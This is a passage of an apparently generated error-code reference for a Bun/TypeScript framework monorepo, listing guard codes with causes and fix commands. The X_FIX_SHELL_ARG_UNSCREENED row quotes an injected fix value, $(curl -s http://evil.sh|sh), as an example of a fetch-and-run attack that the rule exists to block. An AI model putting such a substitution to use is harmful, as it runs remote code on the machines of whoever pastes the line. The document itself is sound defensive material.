X_DOC_MIGRATION_UNSCANNED no row in wiki/Upgrading.md sends the reader to a single version section, so the rule read nothing the summary table was restructured or removed. Reported rather than skipped: a rule with no input is a false green, not a pass restore the summary table in wiki/Upgrading.md — each row reads the `X.Y.Z` section, in order
X_DOC_PACKAGE_GRAPH_STALE the dependency graph docs/architecture/01-package-map.md draws is not the one the manifests declare two shapes, one code: an arrow whose from package declares no dependency on its to, and a publishable package with no node at all. Eleven arrows described imports no manifest ever made — schema→core, ui→render, render→query and eight more — and scraping was absent entirely. The reverse is deliberately unchecked: the graph abridges, cli declares 23 and draws 4 bun run package-map-graph --json — each finding names the arrow, its line and the package.json that would have to declare it
X_DOC_PACKAGE_GRAPH_UNSCANNED the package map draws no graph this rule can read the ```mermaid fence was renamed, the graph was deleted, or a line uses a mermaid link operator other than a --> b. Reported rather than skipped: a graph nobody could parse answers exactly what a correct graph answers bun run package-map-graph --json — it names the line it could not read, or the fence it could not find
X_DOC_PATH_DEAD a published page names, in backticks, a packages/…, scripts/… or docs/… path that exists neither in this repository nor in a tracked app a file was renamed or deleted and the page kept the old name (22.0.0's dev-* → runtime-* boot modules), or the page quoted a file that never existed. Placeholders, globs, build outputs, docs/plans/, docs/history/, CHANGELOG.md and any section opened by a **Historical:** label are not read bun run doc-paths --json, then edit the named line to the current path — or open the section with **Historical:** if the page records a tree that no longer exists
X_DOC_RELEASE_FACT_STALE a page states how many packages ship and the tree has a different number the count is restated across ten files — CLAUDE.md, README.md, AGENTS.md, SECURITY.md, PUBLISHING.md, five wiki pages and three under docs/idea — and hand-copied every time. SECURITY.md claimed 28 packages and a supported line of 1.0.x, two majors stale bun run scripts/release-facts.ts --json names the file and the number to write; bun run scripts/list-workspaces.ts is where the number comes from
X_DOC_RELEASE_FACT_UNSCANNED no page states a package count, so the rule read nothing the globs or the phrasing moved. Reported rather than skipped: silence over ten pages that restate one number reads identically to agreement edit FACT_GLOBS in scripts/release-facts.ts so it matches how the pages state a count
X_DOC_SETUP_COMMANDS_UNSCANNED the rule read no list, no count, or no binSetup() — a page that enumerated bun run setup's sequence was deleted, or the globs match nothing a corpus rule that stops matching reports green forever, which is worse than the drift it was written for; one half can stop matching while the other still works, so each reports on its own, and a rule with no input is a false green (X_DOC_GATE_STEPS_UNSCANNED's reason) bun run scripts/setup-commands.ts --json, then widen DOC_GLOBS in scripts/doc-commands.ts or stepRows/countClaims in scripts/setup-commands.ts
X_DOC_SETUP_COMMAND_STALE a page describes a bun run setup the scaffold does not write — a step list missing one of its steps, or a step count that is not the script's the sequence is hand-copied into several pages and the script is one file: x db seed and x manifest were both added to it while the prose went on naming four steps. scripts/setup-commands.ts derives the list from binSetup() in packages/cli/src/templates/scaffold-bin.ts, so a step added or renamed there turns the stale page red on the same commit bun run scripts/setup-commands.ts --json — each finding carries the sequence to write; make the named line state it
X_DOC_TEST_PATH_BARE a page hands the reader bun test <path> with no leading ./ Bun reads an unanchored argument as a substring filter, not a path: bun test packages/core at the repo root also runs examples/dummy/packages/core/… under the wrong config, and those fail. CLAUDE.md said "always ./" while ~40 pages wrote the bare form bun run scripts/doc-test-paths.ts --json names each page and line; write the path as ./packages/<pkg>/
X_DOC_TEST_PATH_UNSCANNED no page was read, so no bun test path was checked the globs in TEST_PATH_GLOBS match nothing — a directory renamed, or the check run from outside the repo root bun run scripts/doc-test-paths.ts --json from the repo root
X_DOC_TUTORIAL_DIVERGED a tutorial's command, run on a scaffold of this checkout, exits otherwise than the page shows or prints no line matching its ✓/✗ summary a template, generator or gate step moved and the page kept the output it had; nobody re-ran the pages bun run scripts/tutorial-run.ts --json, then edit the page's fence and the text fence below it to what printed, or fix the generator that printed it
X_DOC_UID_STALE docs/ops states a uid the image it names does not run an operator writes a securityContext from the page and the pod cannot write its own state bun run scripts/ops-uid-docs.ts --json # then edit the line it names to RUNTIME_UID or the chart's runAsUser
X_DOC_UID_UNSCANNED no chart runAsUser was read, or no uid was attributed to one of the two images a clean run over nothing proves nothing bun run scripts/ops-uid-docs.ts --json
X_DOC_UNRELEASED_PIN_STALE a page is pinned above its stale "unreleased" lines the sweep fixed a line and the pin was not lowered, so it would let one back in set that page's row in scripts/lib/unreleased-claim-pins.ts to the measured count, or delete it at 0
X_DOC_UNRELEASED_STALE a current page calls a version "unreleased" that docs/changelog/ has dated — or, at a release commit or with [Unreleased] empty, says As of Unreleased, "not yet tagged", what the next major does, or carries a Known-Gaps `main` cell (scripts/doc-unreleased.ts) 33 lines written the day before a major shipped said it was not out yet, were false the day after, and nothing re-read them. changelog-check reads the nearest version within 40 characters of the word, on every page but docs/plans/ and the changelog; a ratchet in scripts/lib/unreleased-claim-pins.ts until the docs sweep lands edit the line the finding names — drop "unreleased", or name the version that is — then bun run changelog-check
X_DOC_WORKAROUND_UNTABLED a changelog line retires a workaround the superseded table does not hold a line says retires the workaround `<id>` and SUPERSEDED_WORKAROUNDS has no such row, or its shippedIn is another release add the row to packages/cli/src/superseded.ts, then bun run scripts/changelog-check.ts --json
X_ERROR_CODE_INDEX_STALE the error-code index does not match its owner pages a row was added, removed or retitled on a wiki/Error-Codes-.md page by hand, or the index markers on wiki/Error-Codes.md were edited away bun run scripts/error-code-pages.ts --write
X_ERROR_CODE_ROW_MISPLACED an error-code row is on a page its owner does not hold the row was pasted onto the wrong wiki/Error-Codes-.md page, or onto the index, or the code moved package and its row did not bun run scripts/error-code-pages.ts --json — names the row and the owner page it goes to; move it there, then --write
X_ERROR_RENDER_UNSAFE an error factory builds its cause: or fix: from an unknown in a way that can throw a parameter typed unknown/any reaching a message through bare ${value}, JSON.stringify(value) or String(value). All three throw on a real app value — JSON.stringify on a bigint or a cycle, and it runs any toJSON the value carries, so an app object can hijack the constructor and the caller catches something that is not the error the framework meant to raise. This shipped three separate times before it was mechanised the fix names the <file>:<line> — wrap it: renderCauseValue(x) for a cause, which only has to describe, or renderFixLiteral(x, '<placeholder>') for a fix, which has to parse. Both from @ultimat3/core
X_ERROR_STATUS_BACKLOG_STALE a pin in the status-table ratchet has been resolved and left behind scripts/error-map-backlog.ts still lists a code that packages/http/src/error-map.ts now maps, or one no package declares any more. "Can this code reach a request?" is not derivable from the source, so the classification is pinned and ratcheted — and a pin nobody removes is a pin nobody reads the fix names the code and its group — delete that entry from scripts/error-map-backlog.ts
X_ERROR_STATUS_MISSING a framework code has no row in @ultimat3/http's closed status table a package at tier 4 or below declared an X_* code and the same pull request never gave it a status, so statusFor falls to DEFAULT_STATUS (500) and packages/http/src/stages.ts reports every status >= 500 to the error monitor — a caller's typo pages the on-call. Ten codes were in that state when the rule shipped the fix names the code — add <CODE>: <status>, to ERROR_STATUS in packages/http/src/error-map.ts, or add it to its owner's group in scripts/error-map-backlog.ts if it can never reach a request
X_ERROR_STATUS_UNKNOWN_CODE the status table maps a code no package declares a mistyped or renamed row in ERROR_STATUS. It reads as enforced and maps nothing, while the real code still falls through to 500 the fix names the row — delete it from packages/http/src/error-map.ts, or register the code in its owning package's src/errors.ts
X_FACTORY_NAME_SPELLING a public package entry exports a retired factory spelling create(Memory|Pg|Postgres)X / pgX is memoryX / postgresX since 25.0.0 — one spelling per factory, so an agent never has to pick between two names for the same thing bun run scripts/factory-names.ts --json # then rename the export as the finding names
X_FETCH_DEADLINE_PIN_STALE a package's unsignalled-fetch pin is above what the tree holds the pin would let the difference back in unnoticed bun run scripts/fetch-deadline.ts --unpin <package>
X_FETCH_DEADLINE_PIN_UNEXPLAINED a package's unsignalled-fetch pin has a blank reason a count with no sentence names nothing that ends the call; the count is not honoured, so the sites are reported behind it write what ends each call in scripts/lib/fetch-deadline-pins.ts, or move each to outbound() and run bun run scripts/fetch-deadline.ts --unpin <package>
X_FETCH_UNBOUNDED a package makes more shipped fetch( calls with no signal than it is pinned at a bare or globalThis. fetch( in shipped source carries no signal in its own options, so the call outlives the request, job or drain that made it. Options passed as a variable read as unsignalled: the rule reads the property name, never its value bun run scripts/fetch-deadline.ts --explain --json — it lists the sites; move each to outbound() from @ultimat3/core/outbound, or raise the package in scripts/lib/fetch-deadline-pins.ts with a why: naming what ends the call
X_FINITE_BOUND_PIN_STALE a package is pinned above the number of unchecked numeric options it still has the pin outlived the fix, so it would let that many back in bun run scripts/finite-bounds.ts --unpin <pkg>
X_FINITE_BOUND_UNCHECKED a numeric option is defaulted with ?? and never checked for finiteness ?? guards nullish, and NaN is not nullish — so Number(process.env.X) on an unset variable, a parseInt of a typo and an untyped config value all walk past the default and land on the bound intact. Math.max/Math.min/Math.floor are not validators either: all three propagate NaN, and this repo relied on all three as guards. Four measured outcomes — a comparison that reads false forever (a dead worker's job never reclaimable, an AcceptBudget admitting the whole herd), an Array.from({ length: NaN }) or slice(0, NaN) that is [] (zero workers, reported as success), a setTimeout(fn, NaN) that is setTimeout(fn, 0) (a poll becomes a spin), and a loop that never terminates, synchronously, past every AbortSignal. Matched on the missing CHECK, never on the option's name assert(Number.isFinite(value), '…', '…') where the option is read — packages/jobs/src/limits.ts's concurrencyLimiter is the form. bun run finite-bounds --explain --json lists every site
X_FINITE_BOUND_UNSCANNED the scan read no source file same class as an empty glob: every package reports zero and the ratchet enforces nothing edit SOURCE_PATTERNS in scripts/boundaries.ts so it matches this repo layout, then bun run scripts/finite-bounds.ts
X_FIX_PROSE a package holds more fix: lines that open with prose than its pin allows a fix is pasted from its first character, so one opening with a sentence (set pwa.offline.fallback in app.config.ts to …) is an instruction the reader translates first. fix-prose reads the same fix lines as the errors step and counts the ones that open with neither a command (x, bun, git, bin/…, NAME=value …) nor a code shape (a call, a declaration, an object literal, key: value, SQL), nor an edit at a file and line (edit <path>.<ext>:<line> — <instruction>). The repair: open the line with the command or the code to paste, and move the sentence into its cause bun run scripts/fix-prose.ts --explain --json
X_FIX_PROSE_PIN_STALE a package is pinned above the number of prose fix: lines it holds a prose fix was rewritten and the pin did not follow it down, so it would let one back in bun run scripts/fix-prose.ts --unpin <pkg>
X_FIX_PROSE_PIN_UNEXPLAINED a FIX_PROSE_PINS row carries a blank reason a { count, reason } row with an empty reason holds nothing, and its count is not honoured — rewrite those lines, or write the reason into the row in scripts/lib/fix-prose-pins.ts bun run scripts/fix-prose.ts --explain --json
X_FIX_PROSE_UNSCANNED fix-prose read no fix: line at all the source globs matched nothing, which reads exactly like a tree with no prose fix in it bun run scripts/fix-prose.ts --explain --json
X_FIX_SHELL_ARG_PIN_STALE a package is pinned above the number of unscreened fix: substitutions it still has the pin outlived the repair, so it would let that many back in bun run scripts/fix-shell-arg.ts --unpin <package> — it only lowers
X_FIX_SHELL_ARG_PIN_UNEXPLAINED a package is pinned with a blank reason a count with no sentence is the waiver axiom 3 refuses: every row is a claim that the value cannot carry shell syntax, and only a human can say which. The count is not honoured either, so the sites are reported behind it write where each remaining value comes from in scripts/lib/fix-shell-arg-pins.ts, or wrap them and run bun run scripts/fix-shell-arg.ts --unpin <package>
X_FIX_SHELL_ARG_UNSCANNED the rule read no source file the same zero-file glob condition as X_INDEX_ORDER_UNSCANNED: every package reports zero and the ratchet enforces nothing edit SOURCE_PATTERNS in scripts/boundaries.ts, then bun run fix-shell-arg
X_FIX_SHELL_ARG_UNSCREENED a value is spliced into the SHELL COMMAND POSITION of a fix: line without being screened a fix: is a command meant to be pasted, so a substitution after a command word is a value that RUNS: x g route /$(curl -s http://evil.sh|sh) was the rendered fix for an unauthenticated GET against any unrouted path. renderFixShellArg was written to close that one site and nothing watched the other 150. renderFixLiteral beside it is explicitly NOT the answer — it answers JSON.stringify, and $(…), a backtick and a substitution are all live inside double quotes in every POSIX shell bun run fix-shell-arg --json — wrap the value in renderFixShellArg(value, '<what a reader substitutes>') from @ultimat3/core; if it cannot carry shell syntax, pin the package in scripts/lib/fix-shell-arg-pins.ts with the sentence saying where the value comes from
X_FLAKE_HUNT_FILE_FAILED flake-hunt could not file or find its issue gh could not list, create or comment on the flake-hunt issue: no token, no issues: write, or the API refused gh auth status && bun run scripts/flake-hunt.ts file <round.json…>
X_FLAKE_HUNT_TEST_FAILED a test failed under a shuffled order a test that depends on file or test order, shared state, the clock or a live service under load failed in one nightly flake-hunt round (--randomize --seed) bun run x -- test unit --workers 2 -- --randomize --seed=<seed>
X_FLAKE_HUNT_UNREADABLE a flake-hunt round left no verdict document x test crashed or hit its deadline and printed no --json document, or a round file handed to file is not one bun run scripts/flake-hunt.ts run --suite unit --json
X_FLIGHT_RANDOM_UNINJECTED a shipped source file calls Math.random() nothing downstream of it can be pinned by a test, which is why packages/ai/src/gateway.ts was the one retry engine of four with no test at all. A call, never a reference: random = Math.random as a default parameter is the injectable seam working correctly, and packages/core/src/backoff.ts does exactly that take a random: () => number parameter defaulting to Math.random and call that instead
X_FLIGHT_SECOND_CURVE a module other than packages/core/src/backoff.ts computes its own backoff it raises a factor to an attempt and clamps the result in one expression, which is a retry curve whatever it is named. Four of these shipped at once — jobs/retry.ts, ai/gateway.ts, realtime/thundering-herd.ts, db/transaction.ts — with three different jitter strategies between them, so fixing a backoff bug meant finding four files and missing three. Matched on SHAPE, never on the name: the first draft looked for a roll called random/rng/roll and read straight past a copy whose parameter was r, the same way a rule spelled RenderMode read past PwaRenderMode import { backoffDelay } from '@ultimat3/core' and delegate — pass curve and jitter rather than re-deriving them
X_FRAMEWORK_ENV_STALE FRAMEWORK_ENV lists a name no shipped file spells the registry claims a read that no longer happens, so x doctor would warn an app off a name the framework stopped reading bun run scripts/framework-env.ts --json — then remove the name it cites from FRAMEWORK_ENV in packages/core/src/framework-env.ts
X_FRAMEWORK_ENV_UNREGISTERED a shipped file reads an environment name FRAMEWORK_ENV does not list scripts/framework-env.ts reads every literal process.env/Bun.env/env[…] read in packages/*/src (fixtures excluded), and this one is not in packages/core/src/framework-env.ts, so x doctor cannot tell an app its own variable of that name collides with the framework's { name: '<NAME>', owner: '<package>', use: '<contract|switch|internal|host>' } — an entry of FRAMEWORK_ENV in packages/core/src/framework-env.ts; then: bun run scripts/framework-env.ts --json
X_FRAMEWORK_TABLE_UNAPPLIED a package declares a framework table in a create table and no boot path creates it packages/auth/src/tables.ts declared x_users, x_sessions, x_accounts, x_verifications and x_api_keys and nothing applied them, in dev or in production, from the initial commit through all 21 released versions — they are not entity() declarations so x db gen never saw them, and the file exported the DDL for an app to paste into a migration that no app wrote. examples/dummy/CLAUDE.md recorded the symptom (nobody could hold a session) without anyone reaching the cause. The same shape as jobs.driver: a declaration nothing reads bun run framework-tables --json — each finding names the table, the file:line that declares it and the FRAMEWORK_SCHEMA row to add
X_FRAMEWORK_TABLE_UNSCANNED the framework-table rule read nothing — no create table in packages/*/src, or a FRAMEWORK_SCHEMA that names no table a scan that finds nothing reports "every table applied", which is the answer a correct tree gives. Both directions fail loudly instead, because this rule's whole subject is a check that was never performed bun run framework-tables --json
X_FRAME_DOCS_STALE wiki/Realtime.md and FRAME_KINDS disagree the page never names a frame the wire sends, or names a frame no kind matches — a frame renamed or added in packages/realtime/src/sync-protocol.ts without the only public description of the protocol following it bun run scripts/wiki-frames.ts --json — the fix names the frame and the page
X_FROZEN_RECORD_INFERRED const X: Readonly<Record<K, V>> = Object.freeze({…}) lets the type argument be INFERRED the annotation claims a closed key set and the freeze infers T from the literal, so an EXTRA key compiles in silence. Object.freeze<Record<K, V>>({…}) is the one form. This refusal carried no code until 2026-09-06 bun run frozen-records --json — write the type argument out and drop the annotation
X_FROZEN_RECORD_UNSCANNED the freeze rule found no Object.freeze at all, or no correct form to recognise a scan that matched nothing answers exactly what a clean tree answers bun run frozen-records from the repo root
X_GATE_CODE_BACKLOG_STALE a code pinned in scripts/gate-codes-backlog.ts that this page is no longer wrong about the row was written or the code was added to the list and the pin was not deleted — a pin nobody removes is a pin nobody reads delete that code from scripts/gate-codes-backlog.ts; the fix line names it verbatim
X_GATE_CODE_UNDOCUMENTED a code the never-ships list names has no table row, or a code scripts/ declares is missing from that list the list is a hand-copy of a derived set and nothing read it. checkErrorCodeDocs is satisfied by any `X_*` in backticks anywhere on this page (documentedCodes is one whole-file regex), so being named inside the parenthesis counted as being documented — 20 codes had a name here and no row. From the other side checkErrorCodeRegistry exempts gate codes by scanning scripts/, never by reading the list, so four X_REGISTRY_* codes had rows above Reserved codes that x errors explain refuses bun run scripts/gate-codes.ts --json — each finding names the row to write or the code to add to the list
X_GUARDS_DOC_DRIFT docs/architecture/guards.md differs from the guard headers it is generated from a guard was added, renamed, or its header's first sentence or its codes changed bun run scripts/guards-doc.ts --write
X_GUARDS_DOC_UNSCANNED the generator found no runnable scripts/*.ts that emits a code run from outside the repository root, or scripts/ unreadable — never read as an empty, passing page bun run scripts/guards-doc.ts --check --json from the repository root
X_GUARD_FORMS_ARCHIVE_FAILED a release tag's guard templates could not be extracted git archive, tar or git ls-tree failed for a tag, or a template imports a file that tag does not hold — the shallow clone lacks the tag git fetch --no-tags origin '+refs/tags/<ref>:refs/tags/<ref>' && bun run scripts/lib/guard-refresh-forms.ts --write
X_GUARD_LOAD_FAILED a repository guard could not load its own imports, so it checked nothing a package in the guard's import graph is mid-edit or broken, and Bun refused to link it: Export named '…' not found or Cannot find module '…'. Reported by scripts/lib/guard-load.ts as a finding naming the module, instead of a bare SyntaxError, so it is never read as a clean run or a mystery crash. A guard's own failure is still thrown as it was edit the module the cause names until bun run typecheck is clean, then rerun the guard the cause names
X_HEALTH_ROW_UNREADABLE scripts/health.ts could not read a row's command, so no verdict for that row exists the row's command failed, threw, or printed nothing the row could read — git or gh missing from PATH, a refused or unauthenticated gh, or a child script that answered without its JSON document. A checkup answering over a row it never read would file verdicts over nothing, so the whole result is cannot tell with no data, and the cause names the row and the command that failed. release-due's own refusal passes through verbatim, its findings becoming this result's findings; registry-audit's refusal does not pass through — it is the npm-serves-tree row's unhealthy verdict, with registry-audit's finding codes in that row's reason bun run scripts/health.ts --json — re-run once the command the cause names answers
X_HELPER_COPY shipped source carries a second implementation of a helper that has one home the rows of scripts/lib/helper-homes.ts — fnv1a, fingerprint, render's contentHash (xxHash32), escapeHtml, readCookie, PgExecutor, storeMode — each replaced copies that had already drifted: four HTML escapers with four character sets (the dev dashboard's escaped no quotes), three cookie readers, four PgExecutor declarations, an environment ternary per app. Matched on SHAPE — FNV's constants as values, an unkeyed hasher fed canonicalJson, a replacement writing &amp;, a ; split walking name=value, the method declared — never on the name. Or a second import PATH: a value another @ultimat3/* package exports, re-exported in any spelling (pinned exceptions: scripts/lib/package-reexports.ts), or a blind export * import the helper or value from the package the finding names (contentHash: @ultimat3/render/server) and delete the local implementation or the re-export — for export *, export each value by name — then bun run flight-copies
X_IMAGE_CONTENT_UNIGNORED a *.dockerignore in this tree does not exclude **/*.test.ts, **/*.test.tsx or the anchored docs, or a later ! line undoes one the build stage's COPY . . then carries files no boot reads, and an edit to one reruns every line below it, x build --target prebuilt included. A !docs/<path> for one file is the documented escape and no finding bun run scripts/image-contract.ts --json: its fix appends the missing lines to the file it names
X_IMAGE_GUARD_MISSING the final stage of any Dockerfile in the tree declares an ENTRYPOINT that no RUN in that same stage executes the guard sits in an earlier stage, or is absent. Proving the binary runs on the build image proves nothing about what ships, and the Dockerfile that shipped the libc mismatch above did carry a guard — in the wrong stage. A stage with no ENTRYPOINT has nothing to guard and is not reported bun run scripts/image-contract.ts --json — the fix carries the exact RUN ["<entrypoint>", "--version"] to add to the final stage
X_IMAGE_LIBC_MISMATCH the stage, stage index or external image any Dockerfile in the tree copies its runtime artifact from links a different C library than the runtime provides a musl build base (alpine) under a glibc runtime (distroless/cc, debian, slim), or the reverse. The binary asks for a loader that is not there, every container exits exec …: no such file or directory, and docker build still succeeds — which is how a dead-on-arrival image shipped green. An image neither family pattern recognises is not reported: unknown is not broken bun run scripts/image-contract.ts --json, then docker build -f docker/Dockerfile . — the fix names the stage whose FROM must change
X_IMAGE_SECRET_UNIGNORED a *.dockerignore in this tree excludes .env and .npmrc but not .secrets.key, or a Dockerfile has no ignore file at all — no <Dockerfile>.dockerignore, no .dockerignore at or above it the build stage's COPY . . then bakes the AES master key into a layer beside the committed secrets.enc.json it decrypts, and findMasterKey reads the key FILE whenever ULTIMATE_SECRETS_KEY is unset — so the container boots on the baked key and the platform's key is never exercised, while wiki/CLI-Reference.md promises an image that "ships no key file at all". All four ignore files carried the .env block and none carried this line bun run scripts/image-contract.ts --json — the fix names the file; add **/.secrets.key beside its .npmrc line
X_INDEX_ORDER_PIN_STALE a package is pinned above the unguarded assertions it now has the ratchet only shrinks, so a repair lands with its pin in one commit the rule is zero-pinned and has no --unpin: edit scripts/index-of-order.ts — lower the OrderPin for the package to the count the finding names, or delete it at 0
X_INDEX_ORDER_PIN_UNEXPLAINED a package is pinned with a blank reason the pins file declared "a blank reason is the documentation axiom 3 says does not exist" in prose and nothing read reason, so the first pin added in a hurry would have carried none. boundaries.ts refuses a blank FLOOR_ABOVE reason the same way edit scripts/index-of-order.ts — write what the remaining site(s) are and why they stand on the OrderPin, or repair them and delete the pin
X_INDEX_ORDER_UNGUARDED an ordering assertion built on indexOf with nothing asserting the needle is present indexOf answers -1 for a needle it never found, and -1 is less than every real index — so the assertion holds when the thing it orders is not emitted at all. Measured 2026-08-26: deleting a drop constraint emission from moveKeysAside left packages/db/src/retype-keys.test.ts GREEN, and a sweep then found 24 more across 11 packages. Which operand is at risk is not symmetric and that is the whole rule — X.toBeLessThan(Y) is passed by a phantom -1 in X, X.toBeGreaterThan(Y) by one in Y; a -1 on the safe side fails loudly and is never reported bun run index-of-order --json — assert presence first (expect(<haystack>).toContain(<needle>), or expect(<index>).toBeGreaterThanOrEqual(0)), then compare. Prove it by deleting what the assertion orders and watching the test go red
X_INDEX_ORDER_UNSCANNED the rule read nothing, so no ordering assertion was checked a Bun.Glob pattern that matched zero files. Braces DO expand, but an alternative containing a / matches nothing — measured, {packages,scripts}/** finds 1,309 files and {packages/*/src,scripts}/** finds none — and a pattern matching nothing reads exactly like a clean tree, which is what the first draft of this rule reported having scanned no file at all bun run index-of-order from the repo root; check the globs in scripts/index-of-order.ts
X_INSTRUMENT_SLOT_ALLOWANCE_STALE an INSTRUMENT_SLOT_ALLOWED row excuses nothing the row in scripts/instrument-slots.ts names a file#name that no scanned file exports — the port was moved, renamed or deleted edit INSTRUMENT_SLOT_ALLOWED in scripts/instrument-slots.ts to drop or rename the row, then bun run scripts/instrument-slots.ts --json
X_INSTRUMENT_SLOT_FORBIDDEN a package exports a single observer slot instead of emitting on the instrumentation bus a file in packages/*/src exports set<X>Observer, set<X>Sink, set<X>Exporter or a recent<X>() ring-buffer reader. A slot holds one observer: a second install replaces the first, and one installed only by x dev is a signal production never sees edit the file the finding names — delete the slot, emit with instrument('<event>', payload) (the event declared in packages/core/src/instrument-events.ts) and have each consumer subscribe('<event>', handler); then bun run scripts/instrument-slots.ts --json
X_KEYED_HASHER an HMAC is taken with a keyed new Bun.CryptoHasher(alg, key) instead of hmac() any file outside packages/core/src/hmac.ts — shipped source, a test, a fixture, a tracked app — constructs CryptoHasher with two arguments. Under Bun 1.4.4 a failed WebCrypto EC import anywhere in the process (one bad JWKS or VAPID key) makes the next keyed hasher throw that stale OpenSSL error once, so a webhook signature, a cursor or a TOTP code fails for one request. An unkeyed hasher is plain hashing, unaffected, and never reported edit the file the finding names — import { hmac } from '@ultimat3/core' and write hmac('sha256', key, data, 'hex'), then bun run keyed-hasher --json
X_KEYED_HASHER_EXEMPT_STALE a KEYED_HASHER_EXEMPT row excuses nothing the row in scripts/keyed-hasher.ts names a file that was not scanned, or one that no longer holds a keyed hasher — the Bun bug pin in packages/core/src/hmac.test.ts was deleted (Bun fixed it) or moved edit KEYED_HASHER_EXEMPT in scripts/keyed-hasher.ts to drop or rename the row, then bun run keyed-hasher --json
X_KNOWN_GAP_LINK_MALFORMED a Known-Gaps [B<n>] link does not resolve to its backlog row, or the line names no issue or the wrong one a gap whose pointer is dead is a gap nobody can find the record of bun run scripts/known-gaps-links.ts --json # then edit the line it names
X_KNOWN_GAP_PIN_STALE scripts/lib/known-gaps-unpinned-pins.ts lists a row that is pinned now, closed or renamed the baseline only falls, and an entry nobody deleted would admit a new unpinned row under the same name delete the entry from KNOWN_GAPS_UNPINNED in scripts/lib/known-gaps-unpinned-pins.ts, then bun run scripts/known-gaps-pins.ts --json
X_KNOWN_GAP_UNPINNED an Open row of wiki/Known-Gaps.md links no test asserting today's behaviour, or a dead one a gap nothing ties to the code stays on the page after the code closes it: 15 of 25 rows checked on 2026-11-02 were false add [pin](https://github.com/developerz-ai/ultimate/blob/main/<test file>#<test title>) to the row, or state pin: none and why, then bun run scripts/known-gaps-pins.ts --json
X_KNOWN_GAP_UNSCANNED wiki/Known-Gaps.md is missing or cites no [B<n>] row a clean run over nothing proves nothing bun run scripts/known-gaps-links.ts --json
X_LLMS_TXT_DRIFT llms.txt's generated package or wiki list differs from what it is generated from it said "generated from list-workspaces" and was hand-written, so @ultimat3/notify never appeared in it. The two lists sit between <!-- generated: … --> markers, built from listWorkspaces(), wiki/_Sidebar.md and wiki/Home.md's summaries; everything else in the file is prose bun run llms-txt --write
X_LOCKFILE_STALE bun.lock records an @ultimat3/* range that the package.json it was generated from no longer declares a lockstep bump. bun install refreshes a workspace block only when that workspace's own manifest changed, and --frozen-lockfile accepts every stale one because a workspace edge resolves by name — the range is never read back. 90 entries sat at 1.2.0 and 2.0.0 against manifests that all said 3.0.0 bun run scripts/lockfile-pins.ts --write, then bun install --frozen-lockfile to confirm. Not rm bun.lock && bun install, which also drags every external dependency to its newest match — measured once as Biome 2.5.5 → 2.5.9 and @types/node 26.1.1 → 26.2.0
X_LOG_LEVEL_PIN_STALE a package is pinned above the unstated per-unit info lines it still has the pin outlived the repair, so it would let that many back in bun run scripts/log-levels.ts --unpin <package> — it only lowers
X_LOG_LEVEL_PIN_UNEXPLAINED a package's log-level pin has a blank reason a count with no sentence says nothing about why those lines are news; the count is not honoured, so the sites are reported behind it write why each line is lifecycle or a rare outcome in its row of scripts/lib/log-levels-pins.ts, or demote them and run bun run scripts/log-levels.ts --unpin <package>
X_LOG_LEVEL_UNSTATED a package writes more info lines on a per-unit path, with no stated reason, than it is pinned at a file PER_UNIT_FILES in scripts/log-levels.ts lists runs once per request, job, fire or message, and an info line there with no // info: <why> on or above it is a routine event at news level — what filled a scheduler pod's logs with jobs.scheduler.dispatched (88% of its lines, production 2026-11). The policy: routine per-unit = debug; info = lifecycle and rare outcomes; warn = an operator should act bun run scripts/log-levels.ts --explain --json — it lists the sites; write logger.debug for a routine event, or put // info: <why it is lifecycle or a rare outcome> on the line above
X_MAINT_LANE_ABSENT a promised maintenance lane is missing a superseded major is inside its window but release/N.x or maint-N is absent, or maint-N names a version off the line bun run scripts/release-maint.ts --major <N> --dry-run --json
X_MAINT_LANE_EXPIRED a maintenance lane outlived its window release/N.x is still on origin after its six-month window closed git push origin --delete release/<N>.x
X_MAINT_LANE_REFUSED no maintenance lane to cut the major has no window, its window closed, or origin holds no vN.* tag to cut from git ls-remote --tags origin 'refs/tags/v<N>.*'
X_MAINT_LANE_WRITE_FAILED a maintenance-lane write failed gh could not create the branch or npm refused a dist-tag write: an expired one-time password, no write access, or the registry refused NPM_CONFIG_OTP=<code> bun run scripts/release-maint.ts --major <N> --json — done steps are skipped
X_NEW_ERROR_CODE_EXISTS the code is already registered or already documented a package's errors.ts already names it, or wiki/Error-Codes.md already has its row. A code is registered once, and a shipped code never changes meaning x errors explain <CODE> --json, then pick a new code, or edit the existing registration or row
X_NEW_ERROR_CODE_INVALID bun run new-error-code was called without what it needs, or for a package with no errors.ts a code, --package, --title, --cause and --fix are all required, because the registration needs the title and the wiki row needs the cause and the fix — and a --cause that repeats --title is refused. Or packages/<pkg>/src/errors.ts does not exist bun run scripts/new-error-code.ts X_PKG_WHAT_FAILED --package <pkg> --title '<one line>' --cause '<what usually makes it happen>' --fix '<command or edit>'. For an unknown package, bun run workspaces:list lists the directories
X_NEW_ERROR_CODE_PATTERN_UNKNOWN the package's errors.ts has no shape new-error-code can add to no …TITLES object, no literal registerErrorCodes({ … }) and no frozen …ERROR_CODES declarations, so adding the code would mean guessing. Both edits are planned before either is written, so the refusal leaves both files as they were register the code by hand in the package's errors.ts, and add its row to wiki/Error-Codes.md in the same change
X_NEXT_BREAK_SOURCE_MOVED a parked break can no longer be cited at one line the source file holds the anchor on zero or several lines, so the tracking issue cannot point at where the break is recorded bun run scripts/next-breaks.ts --json — then point the anchor at the one line that records the break, or drop the source if it shipped
X_NEXT_BREAK_UNLISTED a break parked on next is missing from the tracking issue wiki/Known-Gaps.md parks a break on next that the next-breaks list does not carry bun run scripts/next-breaks.ts --json — then add a row whose source is the Known-Gaps line
X_NODE_IMPORT_PIN_STALE a package is pinned above the number of unexplained node: imports it actually has why: lines were written and the pin was not lowered, so the ratchet holds slack the next unexplained import would spend for free bun run scripts/node-imports.ts --unpin <pkg> — it only lowers, never raises
X_NODE_IMPORT_UNEXPLAINED a node: builtin is imported with no why: comment on it or directly above root CLAUDE.md says "no Node-specific APIs unless via node: and unavoidable, and then with a comment saying why" and nothing read the second half — and until 2026-08-26 the ratchet also skipped every test file, so 404 unexplained imports across 164 suites sat under a green gate while the pin table said 146 (#365). 545 across 16 packages once tests joined the corpus. node: is not banned; reaching for one without naming the Bun native that is missing is, because that sentence is the only thing that lets the next agent delete the import when Bun ships it. A fixture is exempt: a specifier inside a string literal or a comment is data, not an import. A ratchet per package: the count may fall and may never rise write // why: <the Bun API that does not exist> on the import or the line above it, then bun run scripts/node-imports.ts --unpin <pkg>
X_NODE_IMPORT_UNSCANNED no source file was read, so every package reported zero a glob that matches nothing makes the ratchet enforce nothing and reads exactly like a tree of pure Bun — which is why it is a finding rather than a pass edit SOURCE_PATTERNS in scripts/boundaries.ts so it matches this repo layout, then bun run scripts/node-imports.ts
